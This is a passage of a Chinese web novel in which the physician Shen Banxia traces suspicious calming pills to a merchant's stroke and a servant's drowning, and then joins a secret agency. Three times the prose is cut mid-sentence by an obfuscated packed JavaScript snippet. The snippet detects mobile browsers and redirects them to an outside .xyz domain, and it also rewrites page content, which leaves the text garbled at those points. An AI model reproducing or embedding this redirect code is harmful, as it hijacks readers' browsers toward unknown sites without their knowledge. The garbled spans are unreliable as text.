“包在我身上！” 经一番休整，三人一同抬着阿棉来到县衙寻夏久。 云合县西靠溱岭山脉，南临蓬海，各路商贾贸易交汇，来往人口繁杂。 黑漆高墙耸立，门前当值衙卫目光锐利。云和县衙身负大晏南部重任，守一方平安。 “阿久！”柳翩生轻车熟路从侧门拐入县衙时，夏久正在院中与一人说话，“诶？高兄怎么在此？” 另一人正是那日堂上被告的高景明。 高景明眼下乌青，瘦削青百单衫，没有配饰，除了手脚上铁锈斑驳的镣铐。 “高兄这是…”窦老爷偏瘫在床，那日上交安神丸后，虽然无法断定偏瘫与此相关，但也难撇清关系，窦家施压，高景明便被下狱关押。 今正是二次提审高景明之日。 “我…我听说春韵坊的梅娘子没了…她与我有恩，我便求夏大人，允我见上故人一面。” “红颜知己是吧？”柳翩生上下打量，“好哇，想不到高兄也是风流骚客。” “别…不，不是。”高景明被柳翩生调侃的窘迫，手脚的锁链“哗啦哗啦”撞击在一起。 “高大哥不是的！”清脆稚嫩的女声传来，是躺在单架上的阿棉。 “阿棉怎么受伤了！”高景明方才看清单架上之人，焦急得想靠近看看，又怕自己这副模样吓到小姑娘。 “窦大当家窦天德就是曾经抢了我阿娘做小娘的老畜生。被窦老太爷发现后不过是打了顿板子，就把我和阿娘发卖到了春韵坊去。” 夏久持刀朝几人走来，见阿棉虽面色苍白但都能呛人了，对沈半夏抱拳以示敬佩。 “正如阿棉所说，梅娘子曾是窦天德养在外院的小娘。” “梅娘子是为何 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“你的安神丸，从何而来？” “是…是梅娘子给的。”高景明低头，提到故人，咬紧牙关低声颤抖。 “梅娘子？”众人一惊。 “自幼时起，合凌高氏曾也是高官权贵，曾祖父配享乾陵。可到我父亲这一辈没落成了乡野村夫…” “竟是合凌高氏！”柳翩生凑过来。 “不怕各位耻笑，”高景明仰头嗤笑，“我自幼在阿娘的悉心教导下饱读诗书，寒窗十年一心求取功名，侥幸过了乡试，正打算上京参加省试。” “高兄还是个举人！失敬失敬！” “不敢当。”高景明摇头，“可高家家底亏空，父亲终日酗酒沉迷烂赌，家中根本无钱供我上京赶考。” “有点惨…”老乞丐“噗嗤”一声没憋住，换来夏久严厉一瞪。 “哪能在此落井下石？”柳翩生悄咪咪凑到老乞丐身边，“这时该帮忙打个安抚。” “于是我便带着阿娘的家书，前来投奔窦老。” “景明无用，秋闱在即，忧思难寐。窦老便叮嘱当家的带我去别院散心。我就是在那时候与梅娘子相识。” “梅娘子见我夜不能寐气色虚浮，便赠予我安神丸。那药丸似有奇效，吃完了后果然通体舒畅，夜间竟真能安睡了。可惜这药寻常药铺无法购入，我便托梅娘子替我多加采买。” “因着窦老年事已高，腰腿顽疾缠身，我便…我便让他老人家也稍作尝试，开始几日效果显著，我还特意叮嘱其不可多服，谁知…竟酿下大祸，害了唯一愿意帮我的至亲。” “窦老一生行善积德，除了嗜酒如命，从未过不良嗜好，一心向善，每隔数月便进山吃斋祈福。”高景明掩面痛哭，“大人，草民，认罪。” 目送高景明画押伏罪再次被押回大牢，沈半夏倏地起身，方才她一直细细打量高景明，此人和之前找她求诊用药过度导致麻痹的患者不同，大抵服药量是不大的， “夏公子，可否带我去窦府看看偏瘫在床的窦老？” 7. 排骨 “半夏姑娘，小友阿棉......可怎生是好？” 老乞丐衔了截干巴的麦秆，闲散地斜歪在青石板上晒日头，昏昏欲睡。 为着给阿棉换药方便，沈半夏索性在破柴屋外支起了摊。 “……可问过阿棉自个儿？” 沈半夏正替一薄衫掩面的老夫人诊脉，指尖搭在腕间，搭脉不过是形式唬一唬眼前客，沈半夏趁着估摸心律的时候观察患者的体征，“夫人何处不适？” “实…实是替我家老爷来的。”老妇人神色踌躇，目光微闪，瞥了眼立在一旁的阿玉，低声道：“老爷他，他后不利，已数日未通。” 沈半夏会意，时值夏至未至，最易肠胃积热，心烦亏虚。再者大晏寻常百姓大多也无荤素搭配的习惯。她提笔写下，又取了几味润肠通腑的药材，细细包好。 老妇人接过药包。沈半夏仔细嘱咐："切勿忘了饮食调养，多饮清水。" “不知如何开口啊。” 妇人走后，老乞丐伸了个懒腰踱步到沈半夏跟前，“方才那玩意儿，也给老夫来一包！” “罗老若是严重了，半夏尚有一剂外用妙方，保准儿药到病除。”沈半夏眼波流转，嘴角噙着一抹狡黠笑意。身侧正收拾药材的阿玉闻言手上一颤，霎时从双颊红到耳根，连颈间都染上些霞色。 “当真这般灵验？快给老夫试试？”老头儿瞧姐弟两反应好生有趣，拍着腿连声催促。 “好说好说！”沈半夏瞧着阿玉红透的耳尖笑意更深，心下畅快，“总不能一直叫阿棉跟罗老同住，到底是不便。” “我想带阿棉回去，就是不知道小姑娘能否愿意。”她起身帮着收拾药摊，望着寒酸的家当轻叹，“毕竟我也是个穷光蛋。” “阿棉愿意的！” 一道清亮的嗓音响起，面色尚显苍白的少女不知何时出现在柴房门口，单薄的身子摇晃，倔强地挺直了脊背。 沈半夏诧异回身，少女稚气未脱的脸颊微红，牵起沈半夏的手晃了晃。 沈半夏一愣，小小年纪本该娇嫩的掌心覆了一层薄茧，忽觉喉间发紧。 “阿棉会劈柴、会扫院、会自己寻吃食。”少女急急细数着，"阿姐别嫌......" 墙根处传来"哐当"一声，不过只引得老乞丐侧目。 阿玉阴沉着脸将药箱推至墙边，青布衣袖下的指节捏得发白。盯着沈半夏和阿棉交握的手下唇紧抿。 "好。"沈半夏反握住阿棉的小手，转身时发丝扫过阿玉紧绷的下颌，"今日阿棉便随我与阿玉归家。" * 柳家别院，东侧厨房。 阿玉低头择菜，抬眼一瞥院中扫尘的少女，语气恹恹：“你究竟有何目的？” “阿玉哥哥在说什么呀？” 少女手里的苕帚不停，利索地把地面零碎枯枝归成一堆。 “因为夏久是参军？你想继续查春韵坊…” 阿玉思忖片刻，沈半夏留下她除了心软，更担心的该是怕刑大继续为难她。 “阿棉是真的喜欢半夏阿姐。” 阿棉将落叶归拢在小院的一颗垂柳下，她仰起头凝望枝桠，微风拂面，仰起人畜无害的笑脸，“我阿娘说，阿爷是村里小有名望的医者。” 阿玉没有接话，蹲下将柴火挨个儿扔进灶台，不一会儿火苗窜起，灶里响起劈啪声。 “可是阿娘说阿爷不肯传授与她，她说小时候常常瞧见阿爷把药材剪成细碎，哪怕在家里都怕被偷学了去。” 阿棉走到厨房前，瞧着火候及时递上一把蒲扇， “因为祖训传男不传女。” “如果阿爷肯教阿娘，如果阿娘和半夏阿姐一样能行医救人…”她低头诶任由碎发遮住眼睛，肩头微动，“可能阿娘就不会死了吧。” 与此同时，沈半夏手里吊着包新鲜的肉，晃晃悠悠穿过云合西市，来往行人熙攘，茶肆酒香穿巷过，小贩的吆喝声起伏着串起一街烟火。 准确说来沈半夏是被阿棉和阿玉一道赶出来买肉的。 本寻思着阿棉正式加入的第一天，可不得好好庆祝，虽囊中羞涩，三人窝在别院几样热菜也能吃得尽兴。 东边厢房是阿玉的地盘，沈半夏原本打算改作厨房兼煎药房的，谁想药味着实霸道，几次熏坏阿玉的腌菜…家里厨子最大，不会做饭的沈半夏只好灰溜溜抱着药罐去了西厢房。 没成想，阿棉也是个厨房好手，小小年纪，打杂打惯了，沈半夏瞧着心疼，忙让她歇着，背着阿玉悄悄塞了两块糖糕，又自个儿钻进厨房，哪想到—— 她垂眸看了眼小臂上的白布，自己大概是和灶台八字犯冲，她自我安慰道：起码我善后能力还不错。 ——不好不好，自残之气寡淡无味。 瘟神子现身在她身侧，午后正是西式人头攒动的热闹时点，路人来来往往穿透着他的驱赶。 “……不劳上仙惦记。”近日找她看病的患者多了些，瘟神子吃饱喝足竟开始挑三拣四起来。 路过糕点铺，红豆糕的甜糯香气窜入鼻尖，沈半夏驻足。店里娘子见她，笑着迎了出来。 “半夏姑娘来啦。” 前些日子，沈半夏替店家娘子治好了腿上的烫伤。 ——何时你再接诊些热烫伤患？热毒病气火辣鲜美，得劲！ “您且等着吧”沈半夏心里悄悄翻了个白眼。 “这包是阿玉公子的，那包糖少些，是姑娘自己喜欢的。”店家娘子笑盈盈递上两包糖糕。得亏沈半夏，那伤在大腿内侧，她一个娘子定不愿被医馆的老大夫瞧去，沈半夏药膏一抹，今儿个连红痕都快淡去了。 “多谢，我也替阿玉谢过姑娘。”沈半夏接过，心里想着最近新制的保湿乳膏确实管用，或可再试几人。她低头看了眼手臂，回头也让阿玉给她上些。 心满意足拎着肉和点心打道回府。突然觉得背后有一股莫名的视线… 她放慢脚步，余光扫过街旁酒缸，只见釉面反光晃动，可惜什么也看不清。 沈半夏眉头一皱，猛地回身，可身后空空荡荡。她将是吃食换到左手，右手探入怀中，指尖摸到一枚细针。 “喵——” 一声低唤，一只橘白肥猫从廊柱后懒洋洋地探出脑袋，尾巴竖得高高的，径直走到她脚边，亲昵地蹭了蹭她的鞋尖。 “原来是你。”沈半夏失笑，松了口气，蹲身伸手，轻轻挠了挠猫下巴。橘猫眯起眼，舒坦得不肯动弹。 * 日下西斜，暖光透过窗棂洒进厨房。 阿玉静静地伫立在灶台前，一眨不眨地盯着咕嘟冒泡的锅，锅中滚着熬了半个时辰软糯小米粥，金黄的南瓜块浮沉点缀。 他不疾不徐偶尔拨弄了几下，火候一到，便取来些桂花与核桃碎，撒在粥面儿，香甜跟着热气逸出，氤氲不散。 “阿姐回来了。”听见沈半夏跨进厨房，他面上淡了冷意，多了几分烟火气。 “糖醋小排？” 沈半夏晃晃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15464348|169794||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手中的排骨，眉眼弯弯。她不嗜甜，可阿玉的糖醋排骨哪怕腻得发慌都好吃得紧。 阿玉点头同意。 见得到了大厨的首肯，沈半夏便去洗净了肉，置于案上，手起刀落，几声脆响，将排骨剁成适口大小。 不擅家事的沈大医生，唯独这刀功能得阿玉首肯。 沈半夏将切好的排骨收入碗中，绕过案前，走到他身后，微微前倾，双臂越过他的腰侧，将碗搁在一旁。 “阿姐没同你商量，便自作主张留了阿棉。”她语声低缓，似是无意，“阿玉会不开心吗？” 阿玉一怔，手中的勺柄顿了顿，随即定神，继续将煮好的粥盛出来，盖上一块保温的圆木板。不紧不慢做完一些列动作，才略微侧身。 厨房空间逼仄，并排站下二人已是局促，少年转身时擦过沈半夏的肩膀，沈半夏却不闪不避，嘴角笑意加深了些。 “怎么会，阿姐多虑了。” 少年压低了嗓音，索性正了正身子低头与她四目相对。手从她腰侧探去，带着未散的热意，二人离得近，说话间气息能直接抚上沈半夏的侧颊，取了她身后桌上的红豆糕。 “全凭阿姐做主。” “那，阿姐还想去窦府附近转转。”沈半夏张嘴咬过阿玉递至嘴边的糕点，软烂绵密红豆和米糕在唇齿间回转，她猫儿似的眯了眯眼。 “夏大哥那还没有消息吗？”阿玉示意她站得远些，将排骨放进热锅里过水。 “还没呢，早上柳翩生带话说得等夏公子安排。”想到今早柳翩生皱巴着脸的样子，她轻笑出声，“他两倒是要好的很，一个没头脑一个不高兴，甚是可爱。” “阿姐想查安神丸吧？”沈半夏随性惯了，正值芳华的未出阁女子怎可随意夸外家男子可爱，还是两个。阿玉蹙眉顶了顶上颚。 “是啊，先前的病人都不太严重，而且我也研磨了药丸的成分，不应该会导致中风。”沈半夏盯着锅里起起伏伏的肉块出神。 “不知道药剂累计后对年事已高的人有什么直接影响。” * 翌日，阿玉当真陪着沈半夏到窦府的附近晃悠。沈半夏让阿玉拎着药箱板脸装神秘高人，她在一旁吹嘘这是南山药师寺主持的关门弟子，听闻窦老行善行千里，家师特地派他二人前来施救。 理所当然的，被赶了出来。 刚走没多久，就见一老妇人失魂落魄地走在墙下，步履蹒跚，一个踉跄差点儿跌倒。 ——是咸酸的疯癫之气，你上去瞧瞧。 就算没有瘟神子的提醒，沈半夏也正打算上前搀扶，一对中年夫妻先一步接住了她。定睛一瞧，原是西街尽头卖肉屠户夫妇。 屠夫娘子先瞧见了沈半夏，她犹豫半晌，干脆上前一步，“半夏姑娘……妾身有一事相求。” “这位是住在城东的姑母。”屠夫娘子让提醒壮硕的丈夫将老妇人背起。 “平日里偶尔走动，不想前些日子姑母的大儿子失足跌入河里，淹死了…”她重重叹了口气，“我那远房大哥之前一直在窦家当差，不知犯了什么事被赶了出来，没多久就…我和他虽没什么交情，但很是心疼姑母。” “眼瞧着姑母日渐憔悴夜不能寐，这两日竟开始咳血。”她悲痛得摇了摇头，“可否请半夏姑娘随我二人一同将姑母送回去，施诊看病。” “自然可以。” 沈半夏点头，左右今日也看不了偏瘫在床的窦老太爷，溺水身亡的远方大哥，万一能有些突破？ 8. 窦府 城东王家。 王家老二开了一家茶馆，因靠着东边码头，熟客多做水路营生。 屠户正准备把王老妇人径直送回里间，谁知两只脚还没跨进院子，背上的人就开始剧烈地挣扎。 他常年杀猪砍骨一身粗壮腱子肉，怕伤了纸片似的老妇人，也不敢多加阻拦。 老妇人挣脱桎梏，踉跄着穿过内院，扑通一声跪在了水井旁的石子地上。 “姑母！”屠户娘子惊呼，赶忙提着裙摆快步上前搀扶。 “姑母这几日不是去窦家就是在水井旁守着。”她朝沈半夏和阿玉努了努嘴，“自打王家大哥落水没了，姑母便魔怔了，说落水鬼超生得要人替，前几日竟还想投井……” 沈半夏上前搭了把手，将老妇人搀扶着坐在院里的石凳上。 眼前之人神志已经有些痴傻了，时而双唇紧闭，浑浊双眼空洞无神，时而战战兢兢地四下张望，嘴里絮絮叨叨。 沈半夏摇了摇头，指尖搭上她枯瘦的手腕，脉象虚浮紊乱，显然还困在严重打击后的应激反应里。短短数日的疯傻不能作为癔症的诊断依据。 丧子之痛，人之常情罢了。 “只能用些安神的方子，最要紧的是盯着她，莫让她再寻短见。” 沈半夏叫阿玉取了些安神药物。 屠户娘子却一拍大腿，“上几月我头疾发得频繁，姑母还给过我一些王彦大哥带回家的。” 她随即进屋一顿翻找，不稍一会儿便取了个药瓶出来。 沈半夏接过，拔开塞子一瞧——熟悉的药香扑鼻而来，又是那安神丸。 这药和窦家人的关系未免太紧密了些，沈半夏心下诽谤。 “王家大哥经常服用这药？” “可不是？”屠户娘子叹气，“那窦家虽高门大户，但差事当真不轻松，磨人得紧呢。” 长期服用安神丸的王家大哥溺毙的日子，和窦老服用安神丸偏瘫的日子也未免过于巧合了… 她指尖摩细细挲着瓶身，忽然起身道别：“那我二人先告辞，如果再有不适随时寻我。” 临出门时，她又回头补了一句：“别给老夫人用那药。” 出门后，沈半夏立马就往县衙的方向赶去。 夏久怕是早就接手了王家大哥溺亡的案子，她若是带上安神丸的消息，也许是个上窦家一探究竟的契机。 “半夏姑娘的意思是，王彦也用了安神丸？”听闻二人方才去了王家，夏久面露惊讶，“王彦死因是溺亡，不过这几日我查到些消息，王彦在窦家主要跟水路贸易差事，当差了十来年，前些日子突然被窦天德赶走。” 夏久取出一份证词递给二人，“有人见到王彦涉被窦家赶出来后，还被窦家下人堵在暗巷一顿殴打。” “我正要上窦府查案，二位若方便可以一同跟来，不过，”夏久一顿，盯着沈半夏沉默片刻，“不过半夏姑娘不太好以医者身份…” “无妨，早前我想随阿玉进窦府，我骗那小厮说过阿玉是药师寺住持的弟子。”沈半夏颔首微笑，“就等夏参军做保了。” * 盐商窦府果真气派。朱门高墙内，院落几进几出，亭台楼阁错落有致，回廊迂回曲折。 只不过，丫鬟小厮们个个面色紧绷，来往穿行步履匆匆。 前厅里，接待几人的是窦家大娘子。 “怠慢了，夏参军。妾身先替老爷赔个不是。” 窦大娘子执着团扇走进前厅，端着一身的雍容华贵。 “老太爷这一病，窦家上下没了主心骨乱得紧，老爷都来不及悲痛，整日整日扑在铺子上。” “听说高景明那忘恩负义的玩意儿已认罪画押，”她头上的珠钗跟着头晃动着，愤愤道，“还请官爷早日治了那高景明的罪。” 下人端着沏好的热茶进屋，在窦大娘子的示意下置于几上。 “今日登门为了两事。”夏久板着脸，正色道：“其一，夫人可认得王彦？” “王大啊，怎会不认得，那人在窦家十多年了。”窦大娘子诧异，没想到今日之事和王彦有何牵扯，“不过前些日子老爷把他赶了出去。” “夫人可知其中缘由？” “我一个后院妇人，哪晓得前院的门道。” 她连连摆手撇开关系。 “那夫人可知，王大前脚刚被赶出窦府，后脚就在河边溺亡？”夏久陡然提高音量，鹰隼般锐利的目光扫射着眼前人。 “王大没了？” 窦大娘子惊呼，然立马恢复了从容。 “夏参军若有实证，大可拿人问话。否则，恕妾身不便多嘴。” 当真滴水不漏。 夏久不语，窦天德避而不见，从窦大娘子嘴里是套不出太多有用信息。好在此行目的都不在窦家夫妇身上。 夏久眯了眯眼，话锋一转：“那么其二。” “窦老卧床多日不见起色，县令挂念忧虑，特意请南山药师寺主持的关门弟子前来云合探望，还请夫人行个方便。” 窦大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15464349|169794||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娘子方才就瞧见了这位青衣白袍的年轻公子，生得俊俏标志，就是不苟言笑了些。没成想还是个医者。 “承蒙县令大人挂念，老太爷这一病多日，请了不知道多少名医皆没有起色，这小郎君瞧着实在……”她面色犹豫，为难地看了阿玉一眼。 “还请夫人给县令大人和主持一个面子。”夏久起身拱手。 “诸位请随我来。” 窦大娘子带着几人穿过庭院，来到窦府的深处——窦老太爷的居所。 和窦府张扬奢华的庭院不同，窦老太爷屋里的陈设低调许多，沉稳的黑色檀木为主。 走进里屋，窦老太爷正仰面躺在床上，眼睑半合，口眼歪斜。见有人来也没有反应，已然是神志不清。 沈半夏跟在阿玉身后，细细端详后略微沮丧，窦老爷子这已经是未得到及时救治后的模样，就算过些日子恢复了，也难避免半身不遂，言语不利的后遗症。 “哎哟。” 窦大娘子突然低声叫唤，她面上血色渐无，额间瞬间罩上一层薄汗，“妾身失陪…” 阿玉瞥了眼沈半夏，见她正低头浅笑，心下了然。 窦大娘子一走，沈半夏立刻上前查看老太爷的体征。撩起被褥，略微抬起老人的躯干，卧床多日果然背后已经有了褥疮，且小腿严重浮肿，按压回弹极差。 往脚下一看，老太爷的双脚皮肤已然青紫肿胀，部分皮肤溃烂化脓。 ——又一个被麻痹之物压住可口病气的。可惜，亏本座期待这么久，这老头病根深重，你驱不了本座也无口福咯。 “发现的晚了没有猝死已然万幸。” 沈半夏看了眼一脸惋惜的瘟神子，也暗自摇头心下叹息。 她示意阿玉将老太爷放回原处，和料想的差不多，窦老太爷就是卒中。 只不过，照高景明所说提供给窦老太爷的安神丸剂量不大，加之老太爷常年饮酒，本该较常人而言，对麻药抗性只高不低…… “怠慢贵客了。”窦大娘子被丫鬟搀扶着进来，略显局促，“怕是今儿早贪凉坏了肚子，见笑了。” “怕不是夫人贪凉吧。” 夏久攥着刀柄的指节发白，仔细一听，他的声音也有些颤抖，脸色更是和方才虚汗直冒的窦大娘子娘子如出一辙。 “来人，拿下方才上茶的下人和窦府今日当值的厨子。” 他咬牙切齿地瞪了状似无辜的沈半夏一眼， “涉嫌谋害窦大娘子和官差，带回县衙问审！” 9. 入司 回县衙的马车上，唇色惨白的夏大参军一柄长剑抱在胸前，面色不虞。 “半夏姑娘，能否先知会一声？” “不是大人说要拿窦家厨房下人的吗。” 沈半夏轻笑，指尖捻着一粒药丸，“窦府非寻常商贾之家，若非‘官差中毒’，夏大人如何光明正大地拿人？” “或许在下可以，演、一出、戏。” “阿玉明明也提醒了大人。”沈半夏无辜眨了眨眼，指向身侧的少年人。 “何时？” “我往茶水里下药后，阿玉刻意挡在你我二人之间呀。” 夏久无语咬牙，你这个阿弟何时不喜挡在你我二人之间？ “起码这戏演得真切。”语毕，她抬手一抛，药丸稳稳落在对面之人的手心。 “寻常巴豆罢了，不吃解药也无碍。” 夏久此行，除了领沈半夏看窦老太爷，还为寻个由头带走负责膳食的窦府下人。一来据茶馆老板目击，那日殴打王彦的人里有窦府厨子；二来窦老太爷既无中毒迹象——沈半夏想了解窦老太爷的寻常吃食。 * 县衙公堂，三五窦家下人被捆着手跪于在堂前。 个个惊慌失措，惶恐不安地垂着头，连连否认夏久厉声斥责的“投毒谋害主任和官差”欲加之罪。 “大胆刁民！平日就气焰嚣张，随意欺侮百姓之时可曾想起怕了？”夏久怒目呵斥道。 “带证人！” 上堂作证之人，是目击王彦被殴打的茶馆老板。 “小民不敢妄言，亲眼所见这人…”他眼珠子一骨碌，定格在一粗腰圆膀的男人身上，“这人就在！” “啪！”夏久重重拍案而起，命人将男人拎起上前一步。 “从实招来，王彦之死与尔等何关！” “王…王大死了？”那人神色一滞，顿时长大了嘴半天吐不出一个字来。双臂垂在在身侧抖如筛糠。半晌，他抬手颤抖着捂住脸，“大人…草民真的不知…” 此人是窦府的厨子，李五。 “都…都怪那王大贪财！”他垂头，直愣愣盯着跟前的地缝，突然瞳孔皱缩，头摇地似拨浪鼓。 “求大人救救草民。” “此话怎讲？” “都是当家的主意啊！”他双手举过头顶，以头抢地。 “此事又与窦天德何干？” 李五招供，窦老太爷服用的安神丸，不止高景明献上的，窦天德竟也暗自让厨子给父亲的日常膳食里加了安神丸。 窦老太爷已年尽古稀，顽疾缠身。春夏之交腰腿疼痛昼夜频发，加之其气虚阳衰，体内脏器膏脂堆积，免不了性情大变，乖戾暴躁，特别是对家中亲近之人。 “当家的被老太爷日日责骂，见那高景明的安神丸真能安抚老太爷，立刻吩咐下来暗暗寻药。”李五边说边抖。 “王大是当家的十年心腹，自告奋勇寻到药来，按照当家的嘱咐每日偷偷跑来厨房，撒入给老太爷的膳食。” “当家的也是好心，谁曾想老太爷真的出事了……” “所以窦天德就将王彦赶出窦府？”夏久一顿，“为何不处置你？” “草民和王大自小相识，才知道安神丸的事。”李五痛哭，“只怪他贪心想要敲诈当家的，恐才……” 沈半夏在旁暗自思索，其实这药丸本该无毒，不仅无毒反而能缓解伤痛，让病人舒坦。 可窦老太爷这般年岁的老人，本来病痛种类就繁复，就算对于经验丰富的神医而言，也混乱无章难分因果。 只治果不寻因，下医大忌。 * 暂告一段落，夏久邀沈半夏二人喝茶答谢。 “半夏尚有一事不明。” 沈半夏薄唇轻抿了一口杯中茶，几根茶梗于水面浮沉，她不经意轻吹口气。 “一个厨子怎还兼护院的活儿？” “……” “新鲜菜肉铺子多开在西市，作为厨子日日采买食材。”她顿了顿，“恰好故意被认识自己的茶馆老板目击。” “恰好被你一吓就供认不讳。” “不止于此。”沈半夏抬眸直勾勾盯着夏久，“夏大人，这出戏唱得好啊。” “呵。”半晌，夏久轻笑。 “大人不觉得，允我一个普通百姓看的戏，太多了吗？” “啪”、“啪”、“啪” 声音明朗的小老头一边鼓掌，一边爽朗笑着推门而入。 沈半夏双眼微眯起，略有些震惊：“原来是罗老。” “哈哈哈，没想到夏久这小子先一步被识破了。” 来人抬手捋了把胡须，揶揄看向一旁的夏久。 “大人莫要再取笑属下。”夏久干脆拱手讨饶。 老乞丐瞧了眼儿沈半夏，她早敛去方才的错愕，倒是她身侧的少年郎绷紧了身子，神色稍暗。 他不紧不慢地落座，捡了只晶莹透亮的白玉膏吃。沈半夏也不恼，一副静候模样。 老乞丐，或者说这位罗大人，竟然是直隶属今上的特务机构霄衡司的五处长官。大晏的霄衡司独立三省六部外，不受大理寺御史台和刑部威压。探事为耳外之耳，捕人为法外之法。 “那罗大人这是？” 沈半夏挑眉，心下约莫有些猜测。听闻霄衡司选人不走寻常官吏制度，既有官中要职者兼任，亦有民间奇人不良人入局。 “邀请半夏姑娘，加入霄衡司的五处。”罗老颔首，笑盈盈地摸出一块腰牌。 和那日鬼市里，沈半夏替夏久扣下藏匿起来的腰牌别无二致。 “半夏姑娘聪慧机敏，临事不乱，处危不惊。”瞧依旧沈半夏沉默不语，罗老接着道：“医术更是惊为天人，妙手回春一腔仁心悬壶志……” “可大人们办得皆是凶险万分的大事。”月余光景，沈半夏早知眼前之人泥鳅似的圆滑，立刻打断，“半夏一介柔弱女子……” 夏久眼皮抽搐，被自称弱女子的沈半夏下了不知多少次的毒。 “霄衡司自会保姑娘周全。”罗老笑到，“夏久！” “属下明白。” “半夏姑娘可否记得刚到云合之日向在下打听的鬼市一事。” “可有进展？” “霄衡司也在查此事。”夏久点头，“大晏四处皆有鬼市一说，多是民间换取禁物的渠道。然几年来，多地鬼市消失或伴有下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15464350|169794||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 民失踪……” “如若半夏姑娘愿意，自然可以加入一同探查。”罗老打断夏久，眯着眼细细打量沈半夏的神色。 沈半夏心下一凉，栖云岭鬼市的案子和云溪村灭村大火不可能全然无关。 “况且半夏姑娘和阿玉公子是从云溪来的吧。”罗老瞧她脸色一白，果然如此，“云溪屠村大火背后定有人操控，二人若暴露了身份，只怕自身安危……” “……”沈半夏了然。不过她完全不排斥加入什么密探组织，况且背后的瘟神子早已跃跃欲试，与他而言霄衡司和醉仙楼一样，佳肴丰盛如山似海。 “有报酬吗？”沈半夏神色微妙地瞧了眼衣衫褴褛的罗老，有些为难，“我家阿玉身子弱，恐怕不能缺了……” “自能管二位温饱。”夏久默默抖了抖官服和腰间的玉佩。 “大人乞儿打扮不过是……” 他汗颜扶额，憋了半晌。 “个人趣味。” * 沈半夏糊里糊涂算是加入了霄衡司，许是没有明面上的职位，无需和夏久一样终日待在县衙。 沈半夏继续摆她的江湖郎中路边摊。罗老依旧扮着乞儿偷鸡摸狗……咳咳，深入民间搜集情报。偶尔带人来她的摊子上瞧一瞧。 她暗道不妙，难道解决温饱指的上司给拉客？ 唯一的区别是，沈半夏翻了翻手里的泛黄的古典医籍，无人上诊之时，心满意足看得入迷。夏久替她寻了不少医典，有的是民间流通的经典佳本，更有私密不可公布天下的医案药理的记载。 一旁，阿玉见沈半夏看医书看得欢喜，心下妥帖不少。他望着沈半夏的侧脸微微出神。 其实阿姐眉眼生得明艳动人甚至有些许娇媚，然而她一双清冷的眸子，特别是在行医定论之时犀利笃定，容不得人轻易置喙。 想到她加入的霄衡司，阿玉心下有些焦躁。 霄衡司绝非善茬，被称为今上的爪牙恶犬，早先听闻一处和三处主要驻扎上京，主要护今上安危，伺察军政，镇压谤议朝纲者；而这罗老的五处，多半主司民间异事。 “五脏之积……” 瘟神子突然现身，他手里把玩着翠绿的烟斗，白发全垂在肩背上，他凑到沈半夏跟前，对医书无甚兴趣，只盼她多找些奇病怪症，“这个恶疮和肿疡看得本座饿了！” 沈半夏无语，手里翻着记载瘤疾相关的古方和病案。前世就算外科切除再或靶向药攻克都可能收效甚微，她翻了翻手里的孤本，不过古人这以毒攻毒的思路着实不错。 “半夏姑娘。” 一片阴影投在书页上，沈半夏抬头，来人是多日未见的夏久。 “这是有活了？”她抬头，顿时精神一震。 “近日在下和罗大人皆暗中查安神丸的出处。” 夏久点了点头，他腰间刀柄上的鎏金纹路在日光的反射下晃得沈半夏眯眼。 “后日可能得拜托姑娘随我走一趟，混入其中暗下探查。” “可。”沈半夏点头，“可否先告知是何处?我还可准备一二。” 夏久板着脸，耳后染上了些难以觉察的红晕。 “是，春韵坊。” 10. 春韵坊 天色渐晚，蝉鸣聒噪，凉风袅袅卷走日头的闷热，前些日子阿棉不知从哪搬来几盆茉莉，花朵初绽，在微风里轻摇。 沈半夏薅了几朵扔进白瓷茶壶里，说是要试试能不能照书中所写的解夏季胸中的陈腐浑浊之气。 ——就算能解，也只是没滋没味的玩意儿。 瘟神子瘪了瘪嘴，院里石桌上摆一碟酱烧茄子，一碗绿豆排骨汤，还有一碟被吃的只剩半块的桂花奶糕。他钦佩地朝阿玉的方向投去赞许，只可惜他尝不了人世间的滋味。 “阿玉尝尝，泄泻火气。”沈半夏起身拿过他跟前杯盏，笑眯眯得抵至他唇下。 阿玉眼睑低垂迟迟不肯接过，少见得没有抬眼搭理沈半夏。 阿棉圆溜溜的小鹿眼转乎一圈，左看看沈半夏殷勤地往阿玉跟前的碗碟里堆小山，右瞧瞧阿玉紧抿薄唇，埋头将碗里白饭快速地往嘴里送。 “阿玉哥哥这是怎么了？” 阿棉决定还是别触他的眉头，只好歪头转向沈半夏。 “夏久说得了些安魂丸的贩售消息。”沈半夏一顿，“在春韵坊。” “春韵坊！”阿棉一惊来了兴趣，白嫩的小脸激动得红扑扑的，“半夏阿姐要随夏大哥去探查吗！” 